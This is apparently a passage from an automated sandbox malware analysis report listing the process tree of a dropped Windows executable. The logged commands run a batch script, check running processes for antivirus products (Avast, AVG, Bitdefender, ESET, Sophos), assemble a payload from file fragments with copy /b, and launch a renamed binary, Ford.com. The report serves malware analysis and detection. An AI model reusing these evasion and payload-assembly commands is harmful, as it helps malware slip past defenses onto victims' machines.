                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:59
                                                                                                                                                                                                                                        Start time:04:19:38
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                                                                                                        Commandline:"C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exe"
                                                                                                                                                                                                                                        Imagebase:0x400000
                                                                                                                                                                                                                                        File size:1'082'339 bytes
                                                                                                                                                                                                                                        MD5 hash:1676B926564776E931EB4126D09E79A6
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:60
                                                                                                                                                                                                                                        Start time:04:19:39
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                                                                                                        Commandline:"C:\Windows\System32\cmd.exe" /c copy Enters Enters.cmd && Enters.cmd
                                                                                                                                                                                                                                        Imagebase:0x240000
                                                                                                                                                                                                                                        File size:236'544 bytes
                                                                                                                                                                                                                                        MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:61
                                                                                                                                                                                                                                        Start time:04:19:39
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:62
                                                                                                                                                                                                                                        Start time:04:19:40
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\SysWOW64\tasklist.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                                                                                                        Commandline:tasklist
                                                                                                                                                                                                                                        Imagebase:0x280000
                                                                                                                                                                                                                                        File size:79'360 bytes
                                                                                                                                                                                                                                        MD5 hash:0A4448B31CE7F83CB7691A2657F330F1
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:63
                                                                                                                                                                                                                                        Start time:04:19:40
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\SysWOW64\findstr.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                                                                                                        Commandline:findstr /I "wrsa opssvc"
                                                                                                                                                                                                                                        Imagebase:0xd60000
                                                                                                                                                                                                                                        File size:29'696 bytes
                                                                                                                                                                                                                                        MD5 hash:F1D4BE0E99EC734376FDE474A8D4EA3E
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:64
                                                                                                                                                                                                                                        Start time:04:19:40
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\SysWOW64\tasklist.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                                                                                                        Commandline:tasklist
                                                                                                                                                                                                                                        Imagebase:0x280000
                                                                                                                                                                                                                                        File size:79'360 bytes
                                                                                                                                                                                                                                        MD5 hash:0A4448B31CE7F83CB7691A2657F330F1
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:65
                                                                                                                                                                                                                                        Start time:04:19:40
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\SysWOW64\findstr.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                                                                                                        Commandline:findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:29'696 bytes
                                                                                                                                                                                                                                        MD5 hash:F1D4BE0E99EC734376FDE474A8D4EA3E
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:66
                                                                                                                                                                                                                                        Start time:04:19:41
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                                                                                                        Commandline:cmd /c md 254268
                                                                                                                                                                                                                                        Imagebase:0x240000
                                                                                                                                                                                                                                        File size:236'544 bytes
                                                                                                                                                                                                                                        MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:67
                                                                                                                                                                                                                                        Start time:04:19:41
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\SysWOW64\findstr.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                                                                                                        Commandline:findstr /V "DarkPrisonIncRangeBathsPresentedBuckSurely" Photograph
                                                                                                                                                                                                                                        Imagebase:0xd60000
                                                                                                                                                                                                                                        File size:29'696 bytes
                                                                                                                                                                                                                                        MD5 hash:F1D4BE0E99EC734376FDE474A8D4EA3E
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:68
                                                                                                                                                                                                                                        Start time:04:19:41
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                                                                                                        Commandline:cmd /c copy /b ..\Screen + ..\Laugh + ..\Ceo + ..\Nc + ..\Anticipated + ..\Uh + ..\Negative p
                                                                                                                                                                                                                                        Imagebase:0x240000
                                                                                                                                                                                                                                        File size:236'544 bytes
                                                                                                                                                                                                                                        MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:69
                                                                                                                                                                                                                                        Start time:04:19:41
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Users\user\AppData\Local\Temp\254268\Ford.com
                                                                                                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                                                                                                        Commandline:Ford.com p
                                                                                                                                                                                                                                        Imagebase:0x1b0000
                                                                                                                                                                                                                                        File size:947'288 bytes
                                                                                                                                                                                                                                        MD5 hash:62D09F076E6E0240548C2F837536A46A
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Antivirus matches:
                                                                                                                                                                                                                                        • Detection: 0%, ReversingLabs
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:70
                                                                                                                                                                                                                                        Start time:04:19:42
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\SysWOW64\choice.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                                                                                                        Commandline:choice /d y /t 5
                                                                                                                                                                                                                                        Imagebase:0x750000
                                                                                                                                                                                                                                        File size:28'160 bytes
                                                                                                                                                                                                                                        MD5 hash:FCE0E41C87DC4ABBE976998AD26C27E4
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        No disassembly